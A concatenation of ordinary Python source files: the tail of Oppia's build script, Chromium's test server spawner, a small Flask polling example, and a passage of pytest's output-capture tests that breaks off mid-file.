THIRD_PARTY_GENERATED_DEV_DIR] for hash_dir in hash_dirs: hashes.update(get_file_hashes(hash_dir)) # Save hashes as JSON and write the JSON into JS file # to make the hashes available to the frontend. save_hashes_to_file(hashes) # Update hash dict with newly created hashes.json. hashes.update( {HASHES_JSON_FILENAME: generate_md5_hash(HASHES_JSON_FILEPATH)}) # Make sure /assets/hashes.json is available to the frontend. _ensure_files_exist([HASHES_JSON_FILEPATH]) return hashes def generate_build_directory(hashes: Dict[str, str]) -> None: """Generates hashes for files. Minifies files and interpolates paths in HTMLs to include hashes. Renames the files to include hashes and copies them into build directory. """ print('Building Oppia in production mode...') build_tasks: Deque[threading.Thread] = collections.deque() copy_tasks: Deque[threading.Thread] = collections.deque() # Build files in /extensions and copy them into staging directory. build_tasks += generate_build_tasks_to_build_directory( EXTENSIONS_DIRNAMES_TO_DIRPATHS) # Minify all template files and copy them into staging directory. build_tasks += generate_build_tasks_to_build_directory( TEMPLATES_CORE_DIRNAMES_TO_DIRPATHS) _execute_tasks(build_tasks) # Copy all files from staging directory to production directory. copy_input_dirs = [ ASSETS_DEV_DIR, EXTENSIONS_DIRNAMES_TO_DIRPATHS['staging_dir'], TEMPLATES_CORE_DIRNAMES_TO_DIRPATHS['staging_dir'], THIRD_PARTY_GENERATED_DEV_DIR, WEBPACK_DIRNAMES_TO_DIRPATHS['staging_dir']] copy_output_dirs = [ ASSETS_OUT_DIR, EXTENSIONS_DIRNAMES_TO_DIRPATHS['out_dir'], TEMPLATES_CORE_DIRNAMES_TO_DIRPATHS['out_dir'], THIRD_PARTY_GENERATED_OUT_DIR, WEBPACK_DIRNAMES_TO_DIRPATHS['out_dir']] assert len(copy_input_dirs) == len(copy_output_dirs) for i, copy_input_dir in enumerate(copy_input_dirs): safe_delete_directory_tree(copy_output_dirs[i]) copy_tasks += generate_copy_tasks_to_copy_from_source_to_target( copy_input_dir, copy_output_dirs[i], hashes) _execute_tasks(copy_tasks) _verify_hashes(copy_output_dirs, hashes) source_dirs_for_assets = [ASSETS_DEV_DIR, THIRD_PARTY_GENERATED_DEV_DIR] output_dirs_for_assets = [ASSETS_OUT_DIR, THIRD_PARTY_GENERATED_OUT_DIR] _compare_file_count(source_dirs_for_assets, output_dirs_for_assets) source_dirs_for_third_party = [THIRD_PARTY_GENERATED_DEV_DIR] output_dirs_for_third_party = [THIRD_PARTY_GENERATED_OUT_DIR] _compare_file_count( source_dirs_for_third_party, output_dirs_for_third_party) source_dirs_for_webpack = [WEBPACK_DIRNAMES_TO_DIRPATHS['staging_dir']] output_dirs_for_webpack = [WEBPACK_DIRNAMES_TO_DIRPATHS['out_dir']] _compare_file_count( source_dirs_for_webpack, output_dirs_for_webpack) source_dirs_for_extensions = [ EXTENSIONS_DIRNAMES_TO_DIRPATHS['dev_dir']] output_dirs_for_extensions = [EXTENSIONS_DIRNAMES_TO_DIRPATHS['out_dir']] _compare_file_count(source_dirs_for_extensions, output_dirs_for_extensions) source_dirs_for_templates = [ TEMPLATES_CORE_DIRNAMES_TO_DIRPATHS['dev_dir']] output_dirs_for_templates = [ TEMPLATES_CORE_DIRNAMES_TO_DIRPATHS['out_dir']] _compare_file_count(source_dirs_for_templates, output_dirs_for_templates) print('Build completed.') def generate_python_package() -> None: """Generates Python package using setup.py.""" print('Building Oppia package...') subprocess.check_call('python setup.py -q sdist -d build', shell=True) print('Oppia package build completed.') def clean() -> None: """Cleans up existing build directories.""" safe_delete_directory_tree('build/') safe_delete_directory_tree('backend_prod_files/') safe_delete_directory_tree('webpack_bundles/') def main(args: Optional[Sequence[str]] = None) -> None: """The main method of this script.""" options = _PARSER.parse_args(args=args) if options.maintenance_mode and not options.prod_env: raise Exception( 'maintenance_mode should only be enabled in prod build.') # Clean up the existing generated folders. clean() # Regenerate /third_party/generated from scratch. safe_delete_directory_tree(THIRD_PARTY_GENERATED_DEV_DIR) build_third_party_libs(THIRD_PARTY_GENERATED_DEV_DIR) # If minify_third_party_libs_only is set to True, skips the rest of the # build process once third party libs are minified. if options.minify_third_party_libs_only: if options.prod_env: minify_third_party_libs(THIRD_PARTY_GENERATED_DEV_DIR) return else: raise Exception( 'minify_third_party_libs_only should not be ' 'set in non-prod env.') modify_constants( prod_env=options.prod_env, emulator_mode=not options.deploy_mode, maintenance_mode=options.maintenance_mode) if options.prod_env: minify_third_party_libs(THIRD_PARTY_GENERATED_DEV_DIR) hashes = generate_hashes() generate_python_package() if options.source_maps: build_using_webpack(WEBPACK_PROD_SOURCE_MAPS_CONFIG) else: build_using_webpack(WEBPACK_PROD_CONFIG) generate_app_yaml( deploy_mode=options.deploy_mode) generate_build_directory(hashes) save_hashes_to_file({}) # The 'no coverage' pragma is used as this line is un-testable. This is because # it will only be called when build.py is used as a script. if __name__ == '__main__': # pragma: no cover main()
chrome_test_server_spawner.py
# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """A "Test Server Spawner" that handles killing/stopping per-test test servers. It's used to accept requests from the device to spawn and kill instances of the chrome test server on the host. """ # pylint: disable=W0702 import BaseHTTPServer import json import logging import os import select import struct import subprocess import sys import threading import time import urlparse SERVER_TYPES = { 'http': '', 'ftp': '-f', 'tcpecho': '--tcp-echo', 'udpecho': '--udp-echo', 'ws': '--websocket', } _DIR_SOURCE_ROOT = os.path.abspath( os.path.join(os.path.dirname(__file__), os.pardir, os.pardir, os.pardir, os.pardir)) _logger = logging.getLogger(__name__) # Path that are needed to import necessary modules when launching a testserver. os.environ['PYTHONPATH'] = os.environ.get('PYTHONPATH', '') + (':%s:%s:%s' % (os.path.join(_DIR_SOURCE_ROOT, 'third_party'), os.path.join(_DIR_SOURCE_ROOT, 'third_party', 'tlslite'), os.path.join(_DIR_SOURCE_ROOT, 'net', 'tools', 'testserver'))) # The timeout (in seconds) of starting up the Python test server. _TEST_SERVER_STARTUP_TIMEOUT = 10 def _GetServerTypeCommandLine(server_type): """Returns the command-line by the given server type. Args: server_type: the server type to be used (e.g. 'http'). Returns: A string containing the command-line argument. """ if server_type not in SERVER_TYPES: raise NotImplementedError('Unknown server type: %s' % server_type) if server_type == 'udpecho': raise Exception('Please do not run UDP echo tests because we do not have ' 'a UDP forwarder tool.') return SERVER_TYPES[server_type] class PortForwarder: def Map(self, port_pairs): pass def GetDevicePortForHostPort(self, host_port): """Returns the device port that corresponds to a given host port.""" return host_port def WaitHostPortAvailable(self, port): """Returns True if |port| is available.""" return True def WaitPortNotAvailable(self, port): """Returns True if |port| is not available.""" return True def WaitDevicePortReady(self, port): """Returns whether the provided port is used.""" return True def Unmap(self, device_port): """Unmaps specified port""" pass class TestServerThread(threading.Thread): """A thread to run the test server in a separate process.""" def __init__(self, ready_event, arguments, port_forwarder): """Initialize TestServerThread with the following argument. Args: ready_event: event which will be set when the test server is ready. arguments: dictionary of arguments to run the test server. device: An instance of DeviceUtils. tool: instance of runtime error detection tool. """ threading.Thread.__init__(self) self.wait_event = threading.Event() self.stop_event = threading.Event() self.ready_event = ready_event self.ready_event.clear() self.arguments = arguments self.port_forwarder = port_forwarder self.test_server_process = None self.is_ready = False self.host_port = self.arguments['port'] self.host_ocsp_port = 0 assert isinstance(self.host_port, int) # The forwarder device port now is dynamically allocated. self.forwarder_device_port = 0 self.forwarder_ocsp_device_port = 0 # Anonymous pipe in order to get port info from test server. self.pipe_in = None self.pipe_out = None self.process = None self.command_line = [] def _WaitToStartAndGetPortFromTestServer(self): """Waits for the Python test server to start and gets the port it is using. The port information is passed by the Python test server with a pipe given by self.pipe_out. It is written as a result to |self.host_port|. Returns: Whether the port used by the test server was successfully fetched. """ assert self.host_port == 0 and self.pipe_out and self.pipe_in (in_fds, _, _) = select.select([self.pipe_in, ], [], [], _TEST_SERVER_STARTUP_TIMEOUT) if len(in_fds) == 0: _logger.error('Failed to wait to the Python test server to be started.') return False # First read the data length as an unsigned 4-byte value. This # is _not_ using network byte ordering since the Python test server packs # size as native byte order and all Chromium platforms so far are # configured to use little-endian. # TODO(jnd): Change the Python test server and local_test_server_*.cc to # use a unified byte order (either big-endian or little-endian). data_length = os.read(self.pipe_in, struct.calcsize('=L')) if data_length: (data_length,) = struct.unpack('=L', data_length) assert data_length if not data_length: _logger.error('Failed to get length of server data.') return False server_data_json = os.read(self.pipe_in, data_length) if not server_data_json: _logger.error('Failed to get server data.') return False _logger.info('Got port json data: %s', server_data_json) parsed_server_data = None try: parsed_server_data = json.loads(server_data_json) except ValueError: pass if not isinstance(parsed_server_data, dict): _logger.error('Failed to parse server_data: %s' % server_data_json) return False if not isinstance(parsed_server_data.get('port'), int): _logger.error('Failed to get port information from the server data.') return False self.host_port = parsed_server_data['port'] self.host_ocsp_port = parsed_server_data.get('ocsp_port', 0) return self.port_forwarder.WaitPortNotAvailable(self.host_port) def _GenerateCommandLineArguments(self): """Generates the command line to run the test server. Note that all options are processed by following the definitions in testserver.py. """ if self.command_line: return args_copy = dict(self.arguments) # Translate the server type. type_cmd = _GetServerTypeCommandLine(args_copy.pop('server-type')) if type_cmd: self.command_line.append(type_cmd) # Use a pipe to get the port given by the instance of Python test server # if the test does not specify the port. assert self.host_port == args_copy['port'] if self.host_port == 0: (self.pipe_in, self.pipe_out) = os.pipe() self.command_line.append('--startup-pipe=%d' % self.pipe_out) # Pass the remaining arguments as-is. for key, values in args_copy.iteritems(): if not isinstance(values, list): values = [values] for value in values: if value is None: self.command_line.append('--%s' % key) else: self.command_line.append('--%s=%s' % (key, value)) def _CloseUnnecessaryFDsForTestServerProcess(self): # This is required to avoid subtle deadlocks that could be caused by the # test server child process inheriting undesirable file descriptors such as # file lock file descriptors. for fd in xrange(0, 1024): if fd != self.pipe_out: try: os.close(fd) except: pass def run(self): _logger.info('Start running the thread!') self.wait_event.clear() self._GenerateCommandLineArguments() command = [sys.executable, os.path.join(_DIR_SOURCE_ROOT, 'net', 'tools', 'testserver', 'testserver.py')] + self.command_line _logger.info('Running: %s', command) # Disable PYTHONUNBUFFERED because it has a bad interaction with the # testserver. Remove once this interaction is fixed. unbuf = os.environ.pop('PYTHONUNBUFFERED', None) # Pass _DIR_SOURCE_ROOT as the child's working directory so that relative # paths in the arguments are resolved correctly. self.process = subprocess.Popen( command, preexec_fn=self._CloseUnnecessaryFDsForTestServerProcess, cwd=_DIR_SOURCE_ROOT) if unbuf: os.environ['PYTHONUNBUFFERED'] = unbuf if self.process: if self.pipe_out: self.is_ready = self._WaitToStartAndGetPortFromTestServer() else: self.is_ready = self.port_forwarder.WaitPortNotAvailable(self.host_port) if self.is_ready: port_map = [(0, self.host_port)] if self.host_ocsp_port: port_map.extend([(0, self.host_ocsp_port)]) self.port_forwarder.Map(port_map) self.forwarder_device_port = \ self.port_forwarder.GetDevicePortForHostPort(self.host_port) if self.host_ocsp_port: self.forwarder_ocsp_device_port = \ self.port_forwarder.GetDevicePortForHostPort(self.host_ocsp_port) # Check whether the forwarder is ready on the device. self.is_ready = self.forwarder_device_port and \ self.port_forwarder.WaitDevicePortReady(self.forwarder_device_port) # Wake up the request handler thread. self.ready_event.set() # Keep thread running until Stop() gets called. self.stop_event.wait() if self.process.poll() is None: self.process.kill() self.port_forwarder.Unmap(self.forwarder_device_port) self.process = None self.is_ready = False if self.pipe_out: os.close(self.pipe_in) os.close(self.pipe_out) self.pipe_in = None self.pipe_out = None _logger.info('Test-server has died.') self.wait_event.set() def Stop(self): """Blocks until the loop has finished. Note that this must be called in another thread. """ if not self.process: return self.stop_event.set() self.wait_event.wait() class SpawningServerRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): """A handler used to process http GET/POST request.""" def _SendResponse(self, response_code, response_reason, additional_headers, contents): """Generates a response sent to the client from the provided parameters. Args: response_code: number of the response status. response_reason: string of reason description of the response. additional_headers: dict of additional headers. Each key is the name of the header, each value is the content of the header. contents: string of the contents we want to send to client. """ self.send_response(response_code, response_reason) self.send_header('Content-Type', 'text/html') # Specify the content-length as without it the http(s) response will not # be completed properly (and the browser keeps expecting data). self.send_header('Content-Length', len(contents)) for header_name in additional_headers: self.send_header(header_name, additional_headers[header_name]) self.end_headers() self.wfile.write(contents) self.wfile.flush() def _StartTestServer(self): """Starts the test server thread.""" _logger.info('Handling request to spawn a test server.') content_type = self.headers.getheader('content-type') if content_type != 'application/json': raise Exception('Bad content-type for start request.') content_length = self.headers.getheader('content-length') if not content_length: content_length = 0 try: content_length = int(content_length) except: raise Exception('Bad content-length for start request.') _logger.info(content_length) test_server_argument_json = self.rfile.read(content_length) _logger.info(test_server_argument_json) if len(self.server.test_servers) >= self.server.max_instances: self._SendResponse(400, 'Invalid request', {}, 'Too many test servers running') return ready_event = threading.Event() new_server = TestServerThread(ready_event, json.loads(test_server_argument_json), self.server.port_forwarder) new_server.setDaemon(True) new_server.start() ready_event.wait() if new_server.is_ready: response = {'port': new_server.forwarder_device_port, 'message': 'started'}; if new_server.forwarder_ocsp_device_port: response['ocsp_port'] = new_server.forwarder_ocsp_device_port self._SendResponse(200, 'OK', {}, json.dumps(response)) _logger.info('Test server is running on port %d forwarded to %d.' % (new_server.forwarder_device_port, new_server.host_port)) port = new_server.forwarder_device_port assert port not in self.server.test_servers self.server.test_servers[port] = new_server else: new_server.Stop() self._SendResponse(500, 'Test Server Error.', {}, '') _logger.info('Encounter problem during starting a test server.') def _KillTestServer(self, params): """Stops the test server instance.""" try: port = int(params['port'][0]) except ValueError: port = None if port == None or port <= 0: self._SendResponse(400, 'Invalid request.', {}, 'port must be specified') return if port not in self.server.test_servers: self._SendResponse(400, 'Invalid request.', {}, "testserver isn't running on port %d" % port) return server = self.server.test_servers.pop(port) _logger.info('Handling request to kill a test server on port: %d.', port) server.Stop() # Make sure the status of test server is correct before sending response. if self.server.port_forwarder.WaitHostPortAvailable(port): self._SendResponse(200, 'OK', {}, 'killed') _logger.info('Test server on port %d is killed', port) else: self._SendResponse(500, 'Test Server Error.', {}, '') _logger.info('Encounter problem during killing a test server.') def log_message(self, format, *args): # Suppress the default HTTP logging behavior if the logging level is higher # than INFO. if _logger.getEffectiveLevel() <= logging.INFO: pass def do_POST(self): parsed_path = urlparse.urlparse(self.path) action = parsed_path.path _logger.info('Action for POST method is: %s.', action) if action == '/start': self._StartTestServer() else: self._SendResponse(400, 'Unknown request.', {}, '') _logger.info('Encounter unknown request: %s.', action) def do_GET(self): parsed_path = urlparse.urlparse(self.path) action = parsed_path.path params = urlparse.parse_qs(parsed_path.query, keep_blank_values=1) _logger.info('Action for GET method is: %s.', action) for param in params: _logger.info('%s=%s', param, params[param][0]) if action == '/kill': self._KillTestServer(params) elif action == '/ping': # The ping handler is used to check whether the spawner server is ready # to serve the requests. We don't need to test the status of the test # server when handling ping request. self._SendResponse(200, 'OK', {}, 'ready') _logger.info('Handled ping request and sent response.') else: self._SendResponse(400, 'Unknown request', {}, '') _logger.info('Encounter unknown request: %s.', action) class SpawningServer(object): """The class used to start/stop a http server.""" def __init__(self, test_server_spawner_port, port_forwarder, max_instances): self.server = BaseHTTPServer.HTTPServer(('', test_server_spawner_port), SpawningServerRequestHandler) self.server_port = self.server.server_port _logger.info('Started test server spawner on port: %d.', self.server_port) self.server.port_forwarder = port_forwarder self.server.test_servers = {} self.server.max_instances = max_instances def _Listen(self): _logger.info('Starting test server spawner.') self.server.serve_forever() def Start(self): """Starts the test server spawner.""" listener_thread = threading.Thread(target=self._Listen) listener_thread.setDaemon(True) listener_thread.start() def Stop(self): """Stops the test server spawner. Also cleans the server state. """ self.CleanupState() self.server.shutdown() def CleanupState(self): """Cleans up the spawning server state. This should be called if the test server spawner is reused, to avoid sharing the test server instance. """ if self.server.test_servers: _logger.warning('Not all test servers were stopped.') for port in self.server.test_servers: _logger.warning('Stopping test server on port %d' % port) self.server.test_servers[port].Stop() self.server.test_servers = {}
main.py
#!/usr/bin/env python3 # date: 2020.01.17 # https://stackoverflow.com/questions/59780007/ajax-with-flask-for-real-time-esque-updates-of-sensor-data-on-webpage/ from flask import Flask, request, render_template_string, jsonify import datetime import time import threading app = Flask(__name__) running = False # to control loop in thread value = 0 def rpi_function(): global value print('start of thread') while running: # global variable to stop loop value += 1 time.sleep(1) print('stop of thread') @app.route('/') @app.route('/<device>/<action>') def index(device=None, action=None): global running global value if device: if action == 'on': if not running: print('start') running = True threading.Thread(target=rpi_function).start() else: print('already running') elif action == 'off': if running: print('stop') running = False else: print('not running') return render_template_string('''<!DOCTYPE html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> </head> <body> <a href="/bioR/on">TURN ON</a> <a href="/bioR/off">TURN OFF</a> <h1 id="num"></h1> <h1 id="time"></h1> <script> setInterval(function(){$.ajax({ url: '/update', type: 'POST', success: function(response) { console.log(response); $("#num").html(response["value"]); $("#time").html(response["time"]); }, error: function(error) { console.log(error); } })}, 1000); </script> </body> </html> ''') @app.route('/update', methods=['POST']) def update(): return jsonify({ 'value': value, 'time': datetime.datetime.now().strftime("%H:%M:%S"), }) app.run(debug=True)
test_capture.py
import contextlib import io import os import pickle import subprocess import sys import textwrap from io import StringIO from io import UnsupportedOperation from typing import BinaryIO from typing import Generator from typing import List from typing import TextIO import pytest from _pytest import capture from _pytest.capture import CaptureManager from _pytest.main import ExitCode # note: py.io capture tests where copied from # pylib 1.4.20.dev2 (rev 13d9af95547e) needsosdup = pytest.mark.skipif( not hasattr(os, "dup"), reason="test needs os.dup, not available on this platform" ) def StdCaptureFD(out=True, err=True, in_=True): return capture.MultiCapture(out, err, in_, Capture=capture.FDCapture) def StdCapture(out=True, err=True, in_=True): return capture.MultiCapture(out, err, in_, Capture=capture.SysCapture) class TestCaptureManager: def test_getmethod_default_no_fd(self, monkeypatch): from _pytest.capture import pytest_addoption from _pytest.config.argparsing import Parser parser = Parser() pytest_addoption(parser) default = parser._groups[0].options[0].default assert default == "fd" if hasattr(os, "dup") else "sys" parser = Parser() monkeypatch.delattr(os, "dup", raising=False) pytest_addoption(parser) assert parser._groups[0].options[0].default == "sys" @pytest.mark.parametrize( "method", ["no", "sys", pytest.param("fd", marks=needsosdup)] ) def test_capturing_basic_api(self, method): capouter = StdCaptureFD() old = sys.stdout, sys.stderr, sys.stdin try: capman = CaptureManager(method) capman.start_global_capturing() capman.suspend_global_capture() outerr = capman.read_global_capture() assert outerr == ("", "") capman.suspend_global_capture() outerr = capman.read_global_capture() assert outerr == ("", "") print("hello") capman.suspend_global_capture() out, err = capman.read_global_capture() if method == "no": assert old == (sys.stdout, sys.stderr, sys.stdin) else: assert not out capman.resume_global_capture() print("hello") capman.suspend_global_capture() out, err = capman.read_global_capture() if method != "no": assert out == "hello\n" capman.stop_global_capturing() finally: capouter.stop_capturing() @needsosdup def test_init_capturing(self): capouter = StdCaptureFD() try: capman = CaptureManager("fd") capman.start_global_capturing() pytest.raises(AssertionError, capman.start_global_capturing) capman.stop_global_capturing() finally: capouter.stop_capturing() @pytest.mark.parametrize("method", ["fd", "sys"]) def test_capturing_unicode(testdir, method): obj = "'b\u00f6y'" testdir.makepyfile( """\ # taken from issue 227 from nosetests def test_unicode(): import sys print(sys.stdout) print(%s) """ % obj ) result = testdir.runpytest("--capture=%s" % method) result.stdout.fnmatch_lines(["*1 passed*"]) @pytest.mark.parametrize("method", ["fd", "sys"]) def test_capturing_bytes_in_utf8_encoding(testdir, method): testdir.makepyfile( """\ def test_unicode(): print('b\\u00f6y') """ ) result = testdir.runpytest("--capture=%s" % method) result.stdout.fnmatch_lines(["*1 passed*"]) def test_collect_capturing(testdir): p = testdir.makepyfile( """ import sys print("collect %s failure" % 13) sys.stderr.write("collect %s_stderr failure" % 13) import xyz42123 """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*Captured stdout*", "collect 13 failure", "*Captured stderr*", "collect 13_stderr failure", ] ) class TestPerTestCapturing: def test_capture_and_fixtures(self, testdir): p = testdir.makepyfile( """ def setup_module(mod): print("setup module") def setup_function(function): print("setup " + function.__name__) def test_func1(): print("in func1") assert 0 def test_func2(): print("in func2") assert 0 """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "setup module*", "setup test_func1*", "in func1*", "setup test_func2*", "in func2*", ] ) @pytest.mark.xfail(reason="unimplemented feature") def test_capture_scope_cache(self, testdir): p = testdir.makepyfile( """ import sys def setup_module(func): print("module-setup") def setup_function(func): print("function-setup") def test_func(): print("in function") assert 0 def teardown_function(func): print("in teardown") """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*test_func():*", "*Captured stdout during setup*", "module-setup*", "function-setup*", "*Captured stdout*", "in teardown*", ] ) def test_no_carry_over(self, testdir): p = testdir.makepyfile( """ def test_func1(): print("in func1") def test_func2(): print("in func2") assert 0 """ ) result = testdir.runpytest(p) s = result.stdout.str() assert "in func1" not in s assert "in func2" in s def test_teardown_capturing(self, testdir): p = testdir.makepyfile( """ def setup_function(function): print("setup func1") def teardown_function(function): print("teardown func1") assert 0 def test_func1(): print("in func1") pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*teardown_function*", "*Captured stdout*", "setup func1*", "in func1*", "teardown func1*", # "*1 fixture failure*" ] ) def test_teardown_capturing_final(self, testdir): p = testdir.makepyfile( """ def teardown_module(mod): print("teardown module") assert 0 def test_func(): pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*def teardown_module(mod):*", "*Captured stdout*", "*teardown module*", "*1 error*", ] ) def test_capturing_outerr(self, testdir): p1 = testdir.makepyfile( """\ import sys def test_capturing(): print(42) sys.stderr.write(str(23)) def test_capturing_error(): print(1) sys.stderr.write(str(2)) raise ValueError """ ) result = testdir.runpytest(p1) result.stdout.fnmatch_lines( [ "*test_capturing_outerr.py .F*", "====* FAILURES *====", "____*____", "*test_capturing_outerr.py:8: ValueError", "*--- Captured stdout *call*", "1", "*--- Captured stderr *call*", "2", ] ) class TestLoggingInteraction: def test_logging_stream_ownership(self, testdir): p = testdir.makepyfile( """\ def test_logging(): import logging import pytest stream = capture.CaptureIO() logging.basicConfig(stream=stream) stream.close() # to free memory/release resources """ ) result = testdir.runpytest_subprocess(p) assert result.stderr.str().find("atexit") == -1 def test_logging_and_immediate_setupteardown(self, testdir): p = testdir.makepyfile( """\ import logging def setup_function(function): logging.warning("hello1") def test_logging(): logging.warning("hello2") assert 0 def teardown_function(function): logging.warning("hello3") assert 0 """ ) for optargs in (("--capture=sys",), ("--capture=fd",)): print(optargs) result = testdir.runpytest_subprocess(p, *optargs) s = result.stdout.str() result.stdout.fnmatch_lines( ["*WARN*hello3", "*WARN*hello1", "*WARN*hello2"] # errors show first! ) # verify proper termination assert "closed" not in s def test_logging_and_crossscope_fixtures(self, testdir): p = testdir.makepyfile( """\ import logging def setup_module(function): logging.warning("hello1") def test_logging(): logging.warning("hello2") assert 0 def teardown_module(function): logging.warning("hello3") assert 0 """ ) for optargs in (("--capture=sys",), ("--capture=fd",)): print(optargs) result = testdir.runpytest_subprocess(p, *optargs) s = result.stdout.str() result.stdout.fnmatch_lines( ["*WARN*hello3", "*WARN*hello1", "*WARN*hello2"] # errors come first ) # verify proper termination assert "closed" not in s def test_conftestlogging_is_shown(self, testdir): testdir.makeconftest( """\ import logging logging.basicConfig() logging.warning("hello435") """ ) # make sure that logging is still captured in tests result = testdir.runpytest_subprocess("-s", "-p", "no:capturelog") assert result.ret == ExitCode.NO_TESTS_COLLECTED result.stderr.fnmatch_lines(["WARNING*hello435*"]) assert "operation on closed file" not in result.stderr.str() def test_conftestlogging_and_test_logging(self, testdir): testdir.makeconftest( """\ import logging logging.basicConfig() """ ) # make sure that logging is still captured in tests p = testdir.makepyfile( """\ def test_hello(): import logging logging.warning("hello433") assert 0 """ ) result = testdir.runpytest_subprocess(p, "-p", "no:capturelog") assert result.ret != 0 result.stdout.fnmatch_lines(["WARNING*hello433*"]) assert "something" not in result.stderr.str() assert "operation on closed file" not in result.stderr.str() def test_logging_after_cap_stopped(self, testdir): testdir.makeconftest( """\ import pytest import logging log = logging.getLogger(__name__) @pytest.fixture def log_on_teardown(): yield log.warning('Logging on teardown') """ ) # make sure that logging is still captured in tests p = testdir.makepyfile( """\ def test_hello(log_on_teardown): import logging logging.warning("hello433") assert 1 raise KeyboardInterrupt() """ ) result = testdir.runpytest_subprocess(p, "--log-cli-level", "info") assert result.ret != 0 result.stdout.fnmatch_lines( ["*WARNING*hello433*", "*WARNING*Logging on teardown*"] ) assert ( "AttributeError: 'NoneType' object has no attribute 'resume_capturing'" not in result.stderr.str() ) class TestCaptureFixture: @pytest.mark.parametrize("opt", [[], ["-s"]]) def test_std_functional(self, testdir, opt): reprec = testdir.inline_runsource( """\ def test_hello(capsys): print(42) out, err = capsys.readouterr() assert out.startswith("42") """, *opt ) reprec.assertoutcome(passed=1) def test_capsyscapfd(self, testdir): p = testdir.makepyfile( """\ def test_one(capsys, capfd): pass def test_two(capfd, capsys): pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( [ "*ERROR*setup*test_one*", "E*capfd*capsys*same*time*", "*ERROR*setup*test_two*", "E*capsys*capfd*same*time*", "*2 errors*", ] ) def test_capturing_getfixturevalue(self, testdir): """Test that asking for "capfd" and "capsys" using request.getfixturevalue in the same test is an error. """ testdir.makepyfile( """\ def test_one(capsys, request): request.getfixturevalue("capfd") def test_two(capfd, request): request.getfixturevalue("capsys") """ ) result = testdir.runpytest() result.stdout.fnmatch_lines( [ "*test_one*", "*capsys*capfd*same*time*", "*test_two*", "*capfd*capsys*same*time*", "*2 failed in*", ] ) def test_capsyscapfdbinary(self, testdir): p = testdir.makepyfile( """\ def test_one(capsys, capfdbinary): pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines( ["*ERROR*setup*test_one*", "E*capfdbinary*capsys*same*time*", "*1 error*"] ) @pytest.mark.parametrize("method", ["sys", "fd"]) def test_capture_is_represented_on_failure_issue128(self, testdir, method): p = testdir.makepyfile( """\ def test_hello(cap{}): print("xxx42xxx") assert 0 """.format( method ) ) result = testdir.runpytest(p) result.stdout.fnmatch_lines(["xxx42xxx"]) @needsosdup def test_stdfd_functional(self, testdir): reprec = testdir.inline_runsource( """\ def test_hello(capfd): import os os.write(1, b"42") out, err = capfd.readouterr() assert out.startswith("42") capfd.close() """ ) reprec.assertoutcome(passed=1) @needsosdup def test_capfdbinary(self, testdir): reprec = testdir.inline_runsource( """\ def test_hello(capfdbinary): import os # some likely un-decodable bytes os.write(1, b'\\xfe\\x98\\x20') out, err = capfdbinary.readouterr() assert out == b'\\xfe\\x98\\x20' assert err == b'' """ ) reprec.assertoutcome(passed=1) def test_capsysbinary(self, testdir): reprec = testdir.inline_runsource( """\ def test_hello(capsysbinary): import sys # some likely un-decodable bytes sys.stdout.buffer.write(b'\\xfe\\x98\\x20') out, err = capsysbinary.readouterr() assert out == b'\\xfe\\x98\\x20' assert err == b'' """ ) reprec.assertoutcome(passed=1) def test_partial_setup_failure(self, testdir): p = testdir.makepyfile( """\ def test_hello(capsys, missingarg): pass """ ) result = testdir.runpytest(p) result.stdout.fnmatch_lines(["*test_partial_setup_failure*", "*1 error*"]) @needsosdup def test_keyboardinterrupt_disables_capturing(self, testdir): p = testdir.makepyfile( """\ def test_hello(capfd): import os os.write(1, b'42') raise KeyboardInterrupt() """ ) result = testdir.runpytest_subprocess(p) result.stdout.fnmatch_lines(["*KeyboardInterrupt*"]) assert result.ret == 2 def test_capture_and_logging(self, testdir): """#14""" p = testdir.makepyfile( """\ import logging def test_log(capsys): logging.error('x') """ ) result = testdir.runpytest_subprocess(p) assert "closed" not in result.stderr.str() @pytest.mark.parametrize("fixture", ["capsys", "capfd"]) @pytest.mark.parametrize("no_capture", [True, False]) def test_disabled_capture_fixture(self, testdir, fixture, no_capture): testdir.makepyfile( """\ def test_disabled({fixture}): print('captured before') with {fixture}.disabled(): print('while capture is disabled') print('captured after') assert {fixture}.readouterr() == ('captured before\\ncaptured after\\n', '') def test_normal(): print('test_normal executed') """.format( fixture=fixture ) ) args = ("-s",) if no_capture else () result = testdir.runpytest_subprocess(*args) result.stdout.fnmatch_lines(["*while capture is disabled*", "*= 2 passed in *"]) result.stdout.no_fnmatch_line("*captured before*") result.stdout.no_fnmatch_line("*captured after*") if no_capture: assert "test_normal executed" in result.stdout.str() else: result.stdout.no_fnmatch_line("*test_normal executed*") @pytest.mark.parametrize("fixture", ["capsys", "capfd"]) def test_fixture_use_by_other_fixtures(self, testdir, fixture): """ Ensure that capsys and capfd can be used by other fixtures during setup and teardown. """ testdir.makepyfile( """\ import sys import pytest @pytest.fixture def captured_print({fixture}): print('stdout contents begin') print('stderr contents begin', file=sys.stderr) out, err = {fixture}.readouterr() yield out, err print('stdout contents end') print('stderr contents end', file=sys.stderr) out, err = {fixture}.readouterr() assert out == 'stdout contents end\\n' assert err == 'stderr contents end\\n' def test_captured_print(captured_print): out, err = captured_print assert out == 'stdout contents begin\\n' assert err == 'stderr contents begin\\n' """.format( fixture=fixture ) ) result = testdir.runpytest_subprocess() result.stdout.fnmatch_lines(["*1 passed*"]) result.stdout.no_fnmatch_line("*stdout contents begin*") result.stdout.no_fnmatch_line("*stderr contents begin*") @pytest.mark.parametrize("cap", ["capsys", "capfd"]) def test_fixture_use_by_other_fixtures_teardown(self, testdir, cap): """Ensure we can access setup and teardown buffers from teardown when using capsys/capfd (##3033)""" testdir.makepyfile( """\ import sys import pytest import os @pytest.fixture() def fix({cap}): print("setup out") sys.stderr.write("setup err\\n") yield out, err = {cap}.readouterr() assert out == 'setup out\\ncall out\\n' assert err == 'setup err\\ncall err\\n' def test_a(fix): print("call out") sys.stderr.write("call err\\n") """.format( cap=cap ) ) reprec = testdir.inline_run() reprec.assertoutcome(passed=1) def test_setup_failure_does_not_kill_capturing(testdir): 